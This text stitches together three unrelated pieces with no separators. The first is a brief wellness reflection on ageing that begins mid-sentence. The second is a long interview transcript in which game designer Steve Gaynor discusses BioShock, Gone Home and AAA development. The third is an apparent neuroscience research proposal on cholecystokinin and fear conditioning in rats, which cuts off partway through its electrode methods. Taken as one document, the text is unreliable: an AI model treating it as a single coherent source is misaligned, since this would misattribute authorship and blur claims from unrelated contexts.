doing some things I love to do. Be it some aspects of gardening, some hobbies and exercise to mention just a couple of things. It’s the here and now that matters, it’s the only real time we have; yesterday’s been and gone, tomorrow is a day that never arrives, it’s only ‘today’ that is real. If you can do what you want to, then that’s great, if you can’t, don’t beat yourself up, it is as it is, it isn’t the end of the world. You’re body ages day by day, and what comes with that is changing abilities. It’s the same philosophy with certain conditions, not necessarily due to your age but the nature of the condition. There will be days when you can achieve more than others; it’s just the way it goes. But aging is natural, changing abilities is natural, both are inevitabilities of growing older, and we cannot stop growing older – well, not yet! Please feel free to get in touch if you think I may be able to help in any way. Druantia

Hi, I'm Steve, Steve Gaynor. I'm a videogame writer and designer. I worked on the Bioshock series for a number of years. I didn't work on the first game, but I was a level designer on Bioshock 2 and I was the writer and lead designer of the DLC for that game, Minerva's Den. And then for a year of Bioshock Infinite's development, I was a level designer on that game as well, but after I worked with Irrational for a year, I left AAA game development and, with a couple of my former co-workers from 2KMarin, started Fulbright, which is an independent game studio here in Portland, Oregon. And we released a game in 2013 called Gone Home, which was like a first-person story/exploration game, and we're working on our second game now, which is called Tacoma. So I noticed you didn't use the phrase "walking simulator," there. Yeah. [Laughs.] [Laughs.] I mean, I think "walking simulator" is probably too broad to… I mean, that's the interesting thing, is on Steam, when they started putting community-driven tags on games, we had "walking simulator" on Gone Home, that people had put on there as the highest rated tag, and then you click on it, and the other top games that had gotten that tag are, like, DayZ and Rust, and also, you know, The Stanley Parable and Dear Esther and games you would kind of expect. But it seems like people lump a lot of different kinds of games into that category. This morning on Steam, I saw "squirrel-driven." Hyphenated. As a descriptor. So… [Laughs.] [Laughs.] Do you play as a squirrel? Yeah, you can play as a squirrel! [Laughs.] All right. I guess it's an apt descriptor. I guess, so,okay, "squirrel-driven" is specific enough, "walking simulator" is too broad. [Laughs.] It's good to clarify things right out of the gate. So, but you’ve had an interesting transition going from working on bigger, acclaimed things to working on smaller, acclaimed things. How would you like to see the bigger games space progress creatively? What is keeping that from happening? I think that we're seeing some -- seeing a lot of good examples of a trajectory that I think is positive, and it's on a lot of different levels. Because when you say "big games," I think that naturally one thinks Grand Theft Auto, or The Last of Us, or whatever. And I think that you could look at examples within that realm that are valuable. I think that The Last of Us is a really well done game that merges cinematic story and character-driven story with gameplay that is engaging and kind of takes advantage of what AAA are good at well, but also, as far as big games go, Minecraft is a much bigger game than than The Last of Us just as far as impact, right? [Laughs.] As far as how many people are playing, and you go into any -- I don't know, Powell's Books here in Portland -- and you go in through the main entrance, and one of the big tables of featured books is just all Minecraft books, you know? [Laughs.] And so in a lot of ways, the biggest game of the last generation is an indie game. That game was programmed by Notch on his own and then he started working with more people, and blah, blah, blah, blah, blah, and it's the biggest thing that's happened in the games world, I don't know, since The Sims, maybe? Something like that. And so I think that part of what is worth doing is looking at not just what is interesting that's happening in big splashy blockbuster AAA game development, but also just what the biggest influences on -- practically speaking -- on the audience that's playing games now is. And I think that a game that is about -- at its core, about creativity and discovery being the biggest influence on this generation of people who are coming up playing games, I think is a really, really inspiring thing. Do you think it’s fair to say that it feels like most big-budget games are antithetical to that, where rather than about creativity, they’re about destruction? I guess on some level. I think that when you look at it less from a thematic point of view and more from an interactive point of view, I guess I would say that they're antithetical in that they're not about creating, they're about consuming. But I think that that's true of Gone Home and tons of more traditional games of all scales as well, where it's like, okay, "This is about the people who made the game being creative and you using your abilities as a player to uncover all of the content they put into the game, find all the secrets, and learn the most effective strategies, and stuff like that." Whereas Minecraft being procedurally generated and not bound by the developer's creativity, but only bound by the player's creativity, I think that's the biggest difference. Because there are the specifics, when you go down further, of -- and yes, in The Last of Us, almost all of your verbs are about killing enemies and killing zombies and it's about clearing out threats and solving simple puzzles and stuff like that. And I don't think that there is schematically a huge difference between that in a game like The Last of Us and the high-level proposition in Gone Home, which is all this, like, "Okay, you start at the beginning, you're given this sort of chaotic, disorganized set of data that you encounter, and you organize it, either by clearing out all the enemies, so that you can find all of the collectibles to move forward, or by opening all the doors and cabinets and reading all the notes, and kind of organizing the stuff you're finding into a narrative in your head. So I think that when you back off of some of the more fine-grain mechanics and exactly what images are going on the screen, the two have more to do with each other than not. That's interesting. Just the verb "consume" applying to it. I'd never really thought of it in that context. Yeah, I mean, the other image that I've thought of in regards to that is it's something to occupy one's time, right? So it's a knot. You get one of these types of games, and it's the challenge and satisfaction of untying a knot. It's like, "Oh, there's this very complex knotted-up bundle of content and I'm kind of going through and straightening it all out, and now I've gained control of this so I can move onto the next one of these things." And it is a consumptive mode, but it's not purely mindlessly eating through it, you still have to be very engaged and you are instrumental in untangling the thing. But it's still about that act of "Okay, it's in one state, I'm going to fight through it, now I've got to the end and I can move on." Well, I think certainly there's a spectrum there of the blatancy of it. Like on the Pokémon side of things to -- certainly it's true of Gone Home. But I hadn't really thought of it. I guess for Bioshock and some of those bigger games, for me, some of that consumption can feel peripheral to the main crux. And I’m not just picking on Bioshock. Like, I just played a Vita game where that's true, where you can skip the story, so I end up skipping the story, which I guess is my fault? But I guess there's also some of what Gone Home sort of tinkers with is you can't really skip over it and there's really no reason to. Right. Well, because it is the point. Right. And I think that there are tons of games that I've played where I just instinctively start skipping the cutscenes really soon after the game starts because all right, "There's nothing… I don't need to be watching these," you know? Yeah, I don't even do it vindictively. I'm sort of programmed from, I don't know, two decades? Well, and I know -- I guess what I would say is that it's the developer's job to make you not want to skip that stuff, as opposed to forcing you to be unable to skip it, you know what I mean? Because there are games where it's just like, "Oh, you can't skip the story." And it's like, "Well, that doesn't make me want to engage with it." [Laughs.] "It just makes me more annoyed," right? And because the developer hasn't held up their end of the deal of making me not want to skip it, you know what I mean? And that is the difference with something like The Last of Us, which is you can skip any of the story sequences, any of the cutscenes in that game if you want to. I didn't want to, because I was interested in finding out what was going to happen to the characters next. And I think that Gone Home is kind of one step further down that scale of not just "I'm playing through mechanical combat sequences, oh and now some story popped up, and I actually want to find out what it is, so I'll sit through it" to "there's literally no reason to be playing this game unless I care about what the next story thing that I'm going to find it, and that desire is strong enough that it makes me want to keep playing." That's kind of the frame that we were in when we made the game: Can we not just make people care enough they don't want to skip the story, but in fact they only want -- like, it's an upward motivator for them to keep playing, keep finding things, and not want to leave this interactive experience? So I'm assuming from what you're saying, the way you'd like to see bigger games progress creatively is to have better or stronger writing? But what I'm curious about is what will it take for games on the bigger scale to become more receptive and friendly to writers? Yeah, I guess the thing I would say is I don't personally feel prescriptive towards what any one segment of the industry should be doing differently or better, I feel like really it's just a question of the entire experience, whatever it is, feeling unified and of a piece. And I think that that's a lot of times where writing and story in games runs into problems is when it's like, "Okay, this is a game that the mechanics and the core of what the player's doing and the overall experience does not lend itself to like a story-driven, cinematic, character-based kind of thing, and yet there's all of this story stuff in it that just feels incongruous." And so you're like, "Just leave me alone. I want to do the thing that the game is about." And well, some of Nintendo's main properties recently have really fallen into that, where it's just like there's so much text in Zelda games now. And even some of the Mario Galaxy games at the beginning and stuff, it's like why? The core of the game is what you're doing as Link or as Mario and it's not about the peripheral stuff, so I think that's what you run into a lot of times, where those two things just aren't harmonious in a lot of AAA games. I'm glad when I play a game that is good at being story-focused and it does a good job with that story. That's great -- it's not necessarily what I come to AAA games looking for. I think that what is valuable and powerful about games is how many different things they can do and how many different things that they can be, and I would much rather play something that is -- that fully supports its own identity as an interactive thing and is enjoyable all the way through for what it is than something that feels awkward and has elements that aren't really native to what its goals are. And I think that's the mark of something that really works, when you're like, "Okay, I'm constantly in a state of flow within this game, I'm never pulled out of it by this, that, and the other disharmonious element." I think it's why a lot of times games that can overlay narrative stuff with gameplay in a way that makes sense can work especially well. I think that that's why the narrator in Bastion worked so well was he was a narrative presence while you were playing, and not only that, he was talking about, in many cases, what you were doing as the player, and it all supported the overall experience. I think that's why audio diaries in Bioshock or in Gone Home are valuable because it's like, "I'm still in the role of the person playing the game, I'm still in the environment, and also I'm hearing these elements of the narrative that are relevant to the space that I'm inhabiting and what I'm doing." Obviously that's not the only way that game story can be effective, but just anything that can bring the interactive and the narrative elements together I think is really valuable. What is it you feel that audiences don't understand about the way that much bigger games are made? I don’t know? [Laughs.] I guess it's really hard to see how many dependencies there are from the outside. I think that the process of game-making can be very emergent, which is to say you can make decisions early on that basically you become stuck with and that shake out to their logical conclusion by the end of development and have a much bigger impact on the final product than you expected. So I think that it's easy, from a player's perspective, to look at the final product for what it is in and of itself. Which obviously, that's the way you should look at it. There's no -- that's the natural way to understand something that you're playing is the piece for what it is in the form that you're playing it in, but I think it's also fairly natural to assume that everything in the production that you're playing was intentional. You know what I mean? Where it's like, "they thought that this minigame was going to be fun, but it's not, they're bad at making minigames or something." [Laughs.] And it could be something like, well, at the beginning, they were like "here's this minigame, you'll just play it once or twice, and so it won't be a big deal," but by the end of the game's development cycle, they're like, "Oh wait, we're using that minigame in such a way that you play it every five minutes, and now there's way too much of it, but we can't just pull it out, because that would unstring all of these other things that are dependent on it, and now we're just stuck with this thing..." I guess that's part of the dynamic, is generally, game developers know what parts of the game people are going to complain about or not be fans of before the game comes out. But it's not so much that those parts are in because the developers thought it would be awesome for them to be in and they were just wrong. In a lot of cases, "oh, that's something we thought was gonna be good, but games are such a big, complex ball of interlocking systems and technology and content that by the time we realized that wasn't a good direction for this one part of the game, we couldn't go back and change it because all these other things depended on it and now we just know we're stuck with this thing that we wish we would've done differently if we had known earlier that it wasn't going to be a positive part of the experience." You know what I mean? Yeah, absolutely. Which is -- you know, it's tough for game developers, just knowing, "Oh, here's this thing that we totally would've gone back and changed, but since nothing stands on its own in a game -- which is a piece of software, which has to not crash and all this kind of stuff -- we couldn't go back and take the time to change it because we had to ship the thing and it's just going to have to be that way." And maybe if we make a sequel or if we can patch the game or whatever. [Laughs.] We can improve it, but it's a tough process to kind of keep everything in line all along the way, and keep an eye on how decisions that were made early in the process are kind of getting a life of their own as development continues, and try to keep things on track all the way to ship, but it's really, really hard the bigger the game is. You mention minigames, and my mind flashes to hacking minigames. Why has that become such a popular thing recently? I think it's just something where there's this desire for it to make the player feel involved in the process. But also hacking, as it were, is generally not something that you can allow the player to actually do. Like it's a much more complex process than pressing the button at the right time when there's a meter going back and forth or something. But I think it's just this desire to want to say, "Okay, one of the things you can do is hack, but you can't actually let the player do that, so how do we put a fake little version of that in here and make that fun?" [Laughs.] Wait, are you saying I haven't been learning how to hack all these years? I don't think so, no, I'm sorry, I don't think that -- [Laughs.] I'm going to take that off of my LinkedIn, then, I guess. [Laughs.] So this might be the same thing, but the flip is what do you feel the games media doesn’t understand about the way bigger games are made? I don't know. I've had the game player's perspective and the game developer's perspective, but I've never been a games journalist, so… I mean, I assume that especially when you're dealing with big corporate organizations, you're given a very specific lens into the game development process and so forth that is kind of distorted in the way that the publisher wants it to be in most cases, but I'm -- I don't know what the specifics are that a lot of the... Well, I just mean from your side of the aisle, what you've seen written in reviews or previews or I don't know, even news posts or what have you. I think I didn't have a great understanding of how game development worked until I started doing it. There's just a ton of minutiae that goes into it that's hard to visualize from the outside. There's kind of stuff where somebody or some game is missing this feature, or has this bug, or whatever, whatever, and on the one hand, there might be a ton of good reasons for that to be true, where, "Sorry, we can't fix that, or sorry, we wouldn't have been able to ship the game if we included that feature that we thought was going to be in it," or whatever, for tons of good, practical reasons as far as just making a judgment call. You know, like, "Okay, well, we can either add that feature in or ship the game without running out of money. And those are our two options." And you make the call at that point. But on the other side of it, I don't think that that's… it might be true, but it doesn't mean that anyone shouldn't also expect people to -- developers to follow through with what they said they were going to do or to not ship buggy games or whatever. I think that you can always be expanding your perspective of how the work goes and I think similarly -- I think it's absolutely the same from the developer's side. I think there are tons of developers who are like, "Oh, why don't these journalists understand the reasons for us announcing these things, or why were they so hard on us when we said this one thing and they took this quote out of context," and it's like, "Well… that's the job." It's your fault, developer for saying something that could be taken badly out of context, or for announcing something and then announcing that you can't do it any more. I mean, I don't think that it's...you can do as much as possible to understand all angles of the context in which you work, but I think at the end of the day, that understanding is there to help you be able to kind of do a better job with your part? [Laughs.] You know what I mean? Where it's like, "Okay, if you're a developer, you should know the industry well enough to know what the implications are going to be if you say a certain thing." Like, "Okay, that's gonna get reported on." [Laughs.] You know what I mean? Because you are the authority on what you're doing. Yeah, and so if you don't know that, then that's on you, not on games journalists, I feel like. And vice versa. Yeah. So I don't think that there's a huge schism between any parts, and I think that anything that one doesn't know about how another side of the industry works -- you know, it's something that's always good to learn more about. But I don't think it changes the overall paradigm. But, you know, I think the flip of that, too, is it's also kind of your job to be a showman and to get people excited about your thing. I also think, too, being an editor myself and having run stuff, and running this, I also sort of feel like audiences don't really know what they want. And there's something to be said for being surprised, pleasantly or otherwise. You don’t want to be just handed what you think you want. Because no one really knows. Yeah. Definitely. Yeah, I think that absolutely, the idea is to make things that people didn't know they wanted, and then show them why they should be excited about it. Exactly. Because yeah, if you say, "What do you want?" and then you do exactly what people say -- it's like you said, it's not surprising, it's not something that people are excited to discover that they care about. So for you personally, what's your games media consumption habits? What do you read or not read in general or in specific? Oh, you mean -- oh like games journalist stuff. Yeah, yeah. Sorry, I thought you meant, like, playing habits. We can talk about that as well, yeah. I mean, either way. But I guess I used to use more of an RSS feed-tracker kind of thing for keeping up with specific games sites. But at this point I almost exclusively just use Twitter, really, and see what people are linking to. So I think if anything, it's caused my games writing consumption to be broader in terms of the outlets I read. Because it's not sort of like, "Okay, I have Rock, Paper, Shotgun bookmarked, so I'm going to look at whatever they have." It's more like, "Someone posted a link to an interesting article that's on a blog or on a website that I've never heard of, or on a website I've heard of, but I didn't know that they were writing about this kind of stuff on it" or whatever. Somebody just has their Patreon page and they're like, "I posted this thing" and it's not on an established website. And so I guess my general consumption is I do look up reviews of specific games when they come out and I'm interested in what people are saying about them just to kind of figure out, "Oh, is this actually good? Should I bother playing this on day one?" kind of thing. And then aside from that, it's more just, "here's a link to an essay someone wrote about some issue in games that I'm interested in," whether it's something surrounding games, or whether it's a specific, "oh, here's a thinkpiece about this game that just came out and it sounds like an interesting perspective on it, so I should check that out." I'm a fan of Simon Parkin's writing, I feel like he always does a really good job. So if he has written something in The New Yorker or whatever I'll probably check it out. I think there's a couple of writers like that, where it's like, "Oh yeah, they'll probably have something interesting to say." But I think it's a much broader sample than the way it has been in past years, at this point. What are your playing habits like, and what are you playing right now? I almost exclusively play stuff on Steam. Well, I should say for commercial releases. Because similar to the games journalism question, there are a lot of interesting games that I see somebody tweet about, and -- like a very small independent creator kind of project that either I'll download off of itch.io or just play in a browser kind of thing. But yeah, big releases, commercial releases I pretty much play on Steam, and if something new comes out that I have been looking forward to a lot then I'll just grab it and play it and generally crank through it in the course of a few days or a week or something like that, and then there's other stuff that you just keep an eye on for when it's going to be discounted. Like I didn't play Shadow of Mordor when it came out, but I played it when, I forget, it was 33 percent off or something like that for the holidays. And like you were saying, with just the sheer volume of stuff that's coming out, it's sort of win-win for me. Because it's sort of like -- in October, there was just tons of stuff coming out, and maybe conceptually I did want to play four or five different big titles that came out, but if you buy them all at the same time, there's only so much of them you can even play in the next however many weeks or months. So it's nice to be able to say, "Well, even if I bought all those, at least I wouldn't have been able to play them, so I'm going to prioritize and just grab this one on release." Then by the time I actually have time and energy in my schedule to play this other game, it probably will have been on sale for 25 percent off or something like that, and I'll grab it then, and it's perfect. So what are you playing right now, if anything, recreationally, or even for research? And what's something you're really looking forward to coming out this year? They released the HD whatever re-released version of Resident Evil 4 on Steam not too terribly long ago. And I pretty much -- I just always have a save game in a Resident Evil 4 playthrough that I can just kind of load up and play for like half an hour and go through some encounters, and then save and quit and come back to it. It's one of those things where it's like, "I feel kind of bored and tired right now, what should I do? Oh, you just load up that Resident Evil 4 save game and play through a little bit further," and then come back to it later. Because I've beaten that game probably like seven or eight times at this point. It's just… it's something you can always snack on, I guess? [Laughs.] What is it about that world that you like to inhabit? I think the core gameplay and the pacing of the game is -- really lends itself to that kind of infinite replayability. Which is to say, it's a very long single-player campaign. Like, there's a ton of content end-to-end, but also it's broken up into little chunks, where's it's like, okay, you come into a new room, you have to clear out all the enemies and solve the little puzzle, and then you go to the next room, and it has a really satisfying structure of these sort of bite-sized pieces of gameplay that you can say, "Well, I'm just going to do one of those and then go back to the save station and save the game and quit." Or you can string together an hour of that and be like, "Okay, that's a good place to stop." It's just, like… the mechanics are so perfectly tuned and responsive and satisfying, and the creativity of the level design in the campaign was so inspiring, where it's just sort of like, okay, there's a fairly small number of elements to play with here, but every room you go into is unique, and there's something happening in it that you weren't expecting, and it's layered incredibly smartly. And so it's just one of those things where it's like, I never don't feel like playing a little more Resident Evil 4. [Laughs.] You talked a bit about what’s reasonable to expect out of the bigger budget game space, and I basically feel like they are increasingly lacking creativity. There might be good reasons for why, but it’s still something I feel. So, I’m curious, from your perspective -- and feel free to disagree with this assertion -- but what does it really matter if bigger games aren’t as creative or ambitious? Who does that really hurt? I think it's like asking the same question about big Hollywood blockbusters. I think that big tentpole pieces of expensive entertainment serve a purpose, and there are certain things they're good at. Which, in general, is the sense of spectacle and scale. And I think that there are certain things that we can say, "Oh, big summer blockbusters should do this or that better." But I think that something what's really good about where the games industry is now is that there's so much more territory now outside of big console releases than there was 10 or 15 years ago. You know what I mean? Or even five years ago. Yeah. And so you don't have to say, "Well, if we want games to be doing X, Y, or Z, then big AAA games with $10-million budgets need to be doing X, Y, and Z." We can say, "Big AAA blockbuster games should be doing what they're good at well, because these other things that are kind of foreign to that mode of production and that scale of development can be accomplished elsewhere and actually find an audience and be distributed and so forth without having to be boxed up in a DVD case and sold at Gamestop or whatever." I think that's a really good thing. I mean, so that's a correlation that's brought up a lot, is Hollywood to games. But not all of Hollywood movies are big summer blockbusters. Like, I wouldn't call Birdman a big summer blockbuster. I haven't watched it, no, but I know of it. But there’s still something to be said for something unusual getting released or seen on a similar scale or scope, and not having to dig as aggressively for it. Well, I mean, I doubt that if you were to talk to a movie producer, that they would say that Birdman is anywhere near the scale or scope of even a third-tier Marvel movie. You know what I mean? [Laughs.] I think those things are still very, very different. For sure. I think you know what I’m saying, though: Where it's released in movie theaters, and people can go and see it there. Birdman is not a Shrek 4 direct-to-video. Yeah. But, you know, games don't have the concept of public display. Which is to say, there's Gamestop, and then there's Steam, and then there's download it off of the internet, and those are all methods of buying the game to own and play at home. Right. And I think that there's just a separate set of expectations there. But I think it's still pretty similar in that if you take your smaller-scale film that's critically-lauded and has kind of a more niche audience, it's still playing at 1/100th the number of theaters that The Avengers is playing at or whatever, right? I think that what you're pointing at is a closer-to-middle ground of production values and visibility with a different name than blockbuster entertainment. But I think there's some of that. I think that when we look at some independent productions like The Witness that Jonathan Blow's working on, or even when The Walking Dead games came out from Telltale, they were download only and they were nowhere near as high-fidelity as a game that's produced by a big publisher, but they had more exposure than a single-person production indie game, and eventually they got to retail. And so I think that spectrum is there, but I think it's -- kind of going back to an earlier response -- I think it's trying to make the experience unified with what its scope and scale and development process makes it good at. Something I don't really see talked about publicly is these consultancies that do internal reviews or I guess sort of institutionalized therapy for bigger games as they're in development. You know the types of things I'm taking about, right? Yeah, where you, yeah, have a firm come in during development, give feedback on it and stuff. I don't know if you've worked on anything that's been impacted by any of those or if you can comment on them, but I'd be curious to hear your general response or thoughts on them? Just on the practice of having consultancies come in during the development of the game? Yeah. Like, have you worked on anything where that had been deployed? Yeah. Yeah, I mean, there was that kind of stuff on the Bioshock series. I mean, the publisher wants to hedge their bets and just get an idea -- like an outside perspective on where the game's heading, and how these people believe that X, Y, and Z is going to be perceived when a trailer goes out, or when an E3 demo goes out, or when the game itself comes out, or whatever, kind of have the ability to react to those things before much is actually out there in the world and the public is reacting to it. I mean, it's just one of those things that is kind of native to AAA game development, I think. Which is to say, when a publisher is putting many, many millions of dollars into the development of a game, they want to be able to say, "Okay, what's everything we can do to try to make sure that the target audience is going to react the way that we want them to when this thing's actually released, and that it's not way off-target for that stuff." And, you know, there's pluses and minuses to it. I think that in a lot of cases, the feedback ends up echoing what developers inside the studio have already been saying, but I think that it's not unfair to say even if the internal and external feedback ends up being the same, having an external perspective is valuable to kind of confirm what the internal feedback was, as opposed to assuming that the changes that are being asked for from the inside are worthwhile, because developers have a game, they're working on it every day for years, I think it's totally fair to say, "You might be too close to the game to actually have a great idea of how the direction of it needs to be changed." So, you know, it's worth it to say, "here's somebody who isn't working on this thing day-in and day-out every day, all week, all month, all year. And hey, they said the same kind of stuff isn't working, and had X, Y, Z suggestions," and some of that has come from inside the studio, but it really is important to know that the developers weren't alone, basically on thinking that those things would be worth doing. [Laughs.] And then also, there's always perspective that is unique to consultants that you wouldn't have come up with from inside the studio at all. So, you mentioned that there are pluses and minuses. Those sound like a lot of pluses. [Laughs.] What are some of the minuses? When you're a developer, it's not really your problem, but I think it's expensive. [Laughs.] And it can be disruptive or whatever, but I haven't been in a situation where it was disruptive to the process and a net negative. Generally, it's disruptive to processes that needed to be kicked in the ass on some level. It's like, "Well, it is a pain that we were going in this one direction, now we have to turn 90 degrees and do something differently, but also that's better than having just continued to barrel forward on a bad trajectory until we shipped something that we weren't happy with." And I guess it can definitely feel frustrating from inside the studio when someone is saying, when people on the design team, whatever, for months are like, "This aspect isn't working, we should cut it," and then it's not getting cut, and you have to keep working on it, and then they call in consultants who spend a couple days at the studio and write up a feedback report and then it's like, "The consultants said we should cut that thing." [Laughs.] And you're like, "Yeah, we've been saying that the whole time." But it's one of those things where it's just sort of like, outside perspective is really very valuable regardless of whether it's a hired consultant, or whether it's playtesters, or whether it's other friends in the industry that aren't working on the same game you're working on. I think it's a totally important part of the decision-making process of kind of, like, "What should we be investing in and what should we change direction on?" What was the biggest draw then, for you to shift focus and start working on smaller things? Is it strictly just fewer voices and opinions around everything, and smaller scope, or was it something else? So in my own personal case, a big part of it was that my wife and I wanted to move back to Portland, and there aren't any games studios in town that are making the kinds of games that I wanted to be working on. So it's like, "Well, okay, then you can not live in Portland, or you can try to start your own thing." So it's a practical question on some level for me, which just means if you're going to try and start your own thing, it has to be small. Well, I guess you can try to get investors and all that kind of stuff and whatever. But, you know, aside from that, it was a difference in scale, where it was like, I had worked on Bioshock 2 and then been the lead on Minerva's Den, and then gone back to Bioshock Infinite. And, you know, that was -- the two big titles on either side of the DLC were 100+ people on the team, and then Minerva's Den, it was 12 people full-time working on the DLC, and it took a total of nine months from concept to shipping it to develop that. And having gone from big team to small team to big team again, it just made me realize I wanted to work on smaller stuff, where you could get the whole team around a table and you could make decisions quickly. You know, turn around to the programmer you're working with and be like, "Hey, I think it would kind of be better if we changed this one thing. Can we try that out?" And be like, "Okay, let's see how it works," and not have to go through all those layers of production and publishing and approvals and so forth. There's an agility to being able to work small that I think is really satisfying, whereas when you're working on a really, really big project, it's pretty much impossible to be able to keep track of all the different moving parts of it. And so, being able to work on something smaller, where you can really kind of be invested in all the pieces of the whole experience, I think is really, really valuable.

Abstract Cholecystokinin (CCK) is found in high concentrations in cortical and limbic structures including the amygdala of rodents, and evidence has been gathered supporting a role for CCK in the neurobiology of anxiety. A variety of animal models have been used to study a central state of fear or anxiety, state that appears to produce a complex pattern of behaviors highly correlated with each other. It is now well established that the amygdala in particular is a critical link in the pathway through which sensory stimuli come to acquire fear evoking properties. The purpose of the proposed experiments is to study the role of the putative neurotransmitter CCK in fear and anxiety in vivo by means of a methodology coupling electrochemical and electrophysiological measurements in various brain areas. Indeed, the association of in vivo differential pulse voltammetry (DPV) with in vivo extracellular single unit recording could be able to provide concomitant physiological and neurochemical indications and to relate them to behavioral events. To further study and support the initial observations pharmacological experiments will also be performed by means of CCK receptor agonists and antagonists. This may eventually lead to development of more effective pharmacological strategies for treating clinical anxiety disorders. Author Contributions Academic Editor: Sadia Batool, Preston University Kohat-Islambad, Pakistan. Checked for plagiarism: Yes Review by: Single-blind Competing interests The authors have declared that no competing interests exist. Citation: Introduction A variety of animal models have been used to study a central state of fear or anxiety. In some models fear is inferred when an animal freezes, thus interrupting an ongoing behavior such as pressing a bar or interacting socially with other animals. In other models fear is measured by changes in autonomic activity, such as heart rate, blood pressure, or respiration. Fear can also be measured by a change in simple reflexes or a change in facial expressions and mouth movements. Thus fear or anxiety appears to produce a complex pattern of behaviors that are highly correlated with each other. A Behavioral Model to Study Fear and Anxiety Classical conditioning paradigms are widely used to study emotional mechanisms of the brain 1, 2, 3, 4, 5. Fear conditioning is a form of Pavlovian classical conditioning. It is produced experimentally by arranging the occurrence of an insignificant or emotionally neutral sensory stimulus, the conditioning stimulus (CS), with an aversive stimulus, the unconditioned stimulus (US). The CS, by virtue of its relationship with the US, acquires aversive properties and comes to obtainresponses characteristically elicited by threatening stimuli. Thus, a tone that has been previously been paired with foot-shock elicits fear or defense responses. Because these responses are not elicited by the CS before the temporal pairing of the CS with the US, they can be referred to as learned or conditioned emotional responses. Indices of fear conditioning include the measurement of the activity of motor responses (i.e. induction of freezing behavior) and/or a variety of autonomic responses (changes in arterial pressure, heart rate, skin conductance, etc.). Fear conditioning, also known as defense conditioning, is often used as an experimental model of anxiety 6, 7. Neural Systems Involved in Fear and Anxiety Emotional responses to aversive stimuli are usually associated with limbic system components such as the hypothalamus, amygdala, and the cingulate cortex. Lesions of either the hypothalamus or the amygdala result in attenuation of blood pressure, heart rate, or behavioral immobility ("freezing") during the conditioned emotional response 5, 8, 9, 10. Cingulate cortex lesions result in attenuation of cardiovascular conditioned responses 1, 11. It is now well established that the amygdala in particular is a critical link in the pathway through which sensory stimuli come to acquire fear evoking properties 5, 8, 12, 13, 14. Direct projections from the central nucleus of the amygdala to the lateral hypothalamus mediate the activation of the sympathetic autonomic nervous system that is seen during fear and anxiety 10. Projections to the dorsal motor nucleus of the vagus or parabrachial nucleus 15 are involved in several autonomic measures of fear and anxiety. Projections to the ventral tegmental area 16 may mediate stress-induced increases in dopamine metabolites in the prefrontal cortex. Release of norepinephrine or 5-HT onto motor neurons, via amygdaloid activation of the locus coeruleus or raphe' neurons, could lead to enhanced motor performances. The hippocampus is reciprocally connected with the amygdala 17 and interactions between the amygdala and hippocampus appear to play an important role in some cognitive functions 18, 19. Thus, the highly correlated set of behaviors seen during fear may result from activation of the amygdala, which then projects to specific target areas that are critical for specific symptoms of fear. The identity of the transmitters released into these target sites by amygdaloid neurons has been studied 20 and it is estimated that 25% of the neurons in central amygdala contains corticotropin-releasing factor, somatostatin and neurotensin. High density of benzodiazepine 21 and opiate receptors 22 are also found in the nuclei of the amygdala. Local infusion of the opiate agonist levorphanol into the central amygdala has anxiolytic effects in the social interaction test 23, 24. Local infusion of benzodiazepines into the amygdala has anxiolytic effects in the operant conflict test 25, 26, 27, 28. Role of CCK in Fear and Anxiety Cholecystokinin (CCK) is found in high concentrations in cortical and limbic structures of the temporal lobe, including the amygdala and the hippocampus of the rat 29, 30 and the monkey 31. Evidence has been gathered supporting a role for CCK in the neurobiology of anxiety 5, 32, 33, 34. CCK-induced excitation of rat hippocampus units is antagonized by benzodiazepine receptor agonists 35, suggesting that CCK might have anxiogenic properties 36, 37. Moreover, injections of CCK-8 into the central nucleus of the amygdala enhance arousal and fear in rats 38, 39. CCKB receptors antagonists show anxiolytic effects in several standard anxiety tests (the light/dark compartment test, the elevated plus-maze test, the social interaction test) 28, 32, 40, 41. Interestingly, delivery of electric shock to freely moving rats induces increase of CCK concentrations in limbic regions and in the prefrontal cortex 42. Administration of CCK-4 to healthy patients induces panic attacks 43 and produces respiratory changes in panic disorder and control patients 44. Experimental Design and Methods The purpose of the proposed experiments is to study the role of the putative neurotransmitter CCK in fear and anxiety. The development of very selective non-peptide antagonists for CCK subtypes (e.g. the CCKB antagonist G15013) will allow testing this hypothesis. The electrochemical methodology that joins in vivo electrophysiology with voltammetry using the same recording electrode will be applied 45, 46. This technique will be able to provide physiological and neurochemical information at the same time and to relate them to behavioral events. We will address the following questions: Is the unit activity and the neurochemistry monitored in the amygdala modified by intravenous (iv) or intra-cerebroventricular (icv) injections of CCK and CCK antagonist G15013 in rats under urethane anaesthesia? Is the unit activity and the neurochemistry modified in specific target areas of the amygdala (hippocampus, prefrontal cortex, or nucleus accumbens) by iv or icv injections of CCK and CCK antagonist G15013 in rats under urethane anaesthesia? Does the selective CCK antagonist G15013 show anxiolytic effects during signaled (cued) fear conditioning tests? And if so are these effects correlated to changes in unit activity and neurochemistry in amygdala and/or in its projection areas? Methods Behavioral Test A test well suited for the study of fear and anxiety will be applied 47. This test allows determining fear responses in a fast and reliable way. Briefly, rats are placed individually in a rodent sound attenuating conditioning chamber (Coulbourn Instruments). The conditioned stimuli (CS) are an 800 Hz tone, amplified to 80 dB, and presented for 20 sec through a speaker located in the front panel of the chamber. The unconditioned stimulus (US) is a brief (0.5 mA, 500 msec) distributed delivery of direct current produced by a grid floor shocker. On day 0, the animals are placed in the conditioning chamber for 20 min without stimulus presentation and are then returned to their home cages. On days 1 and 2 conditioning trials (consisting of 2 trials/day during which the US was presented during the last 500 msec of the 20 sec CS) are giving. Extinction trials (2 presentations of the CS alone) begin on day 3 and continue for 3 additional days. Freezing, used as the index of conditioned fear, is assessed by viewing the animals through a peephole in the sound-attenuating chamber and using stopwatches to measure freezing time. Freezing is defined as the absence of all movement except for respiratory-related movements 47. It is a very distinctive behavior that is easy to recognize and rarely occurs in non-fear situations 48, 49. Micro-Electrodes for Concomitant Voltammetry and Electrophysiology The micro-electrodes utilized here were prepared using a 12 µm-diameter carbon fiber (Carbone Lorraine, Lyon, France) and set as described earlier 45. They are cut under the microscope to leave 50-200 µm active area at the tip (Figure 1). This preparation gives the electrodes an impedance of 0.5-1.0 MOhms, allowing electrophysiological single cell activity discrimination 50. Figure 1. schematic representation of the micro-electrode In vivo Differential Pulse Voltammetry (DPV) Recordings For in vitro and in vivo DPV measurements the carbon fiber electrode is set as described earlier 45, 51. Briefly, it is electrically treated firstly with a voltage from zero to 3 Volts, 70 Hz, 10 s, then with continuous potentials (+1.5 Volts, 5 s and −0.9 Volts, 5 s), so as to permit the measurement of three oxidation signals related to ascorbic acid, dopamine and serotonin 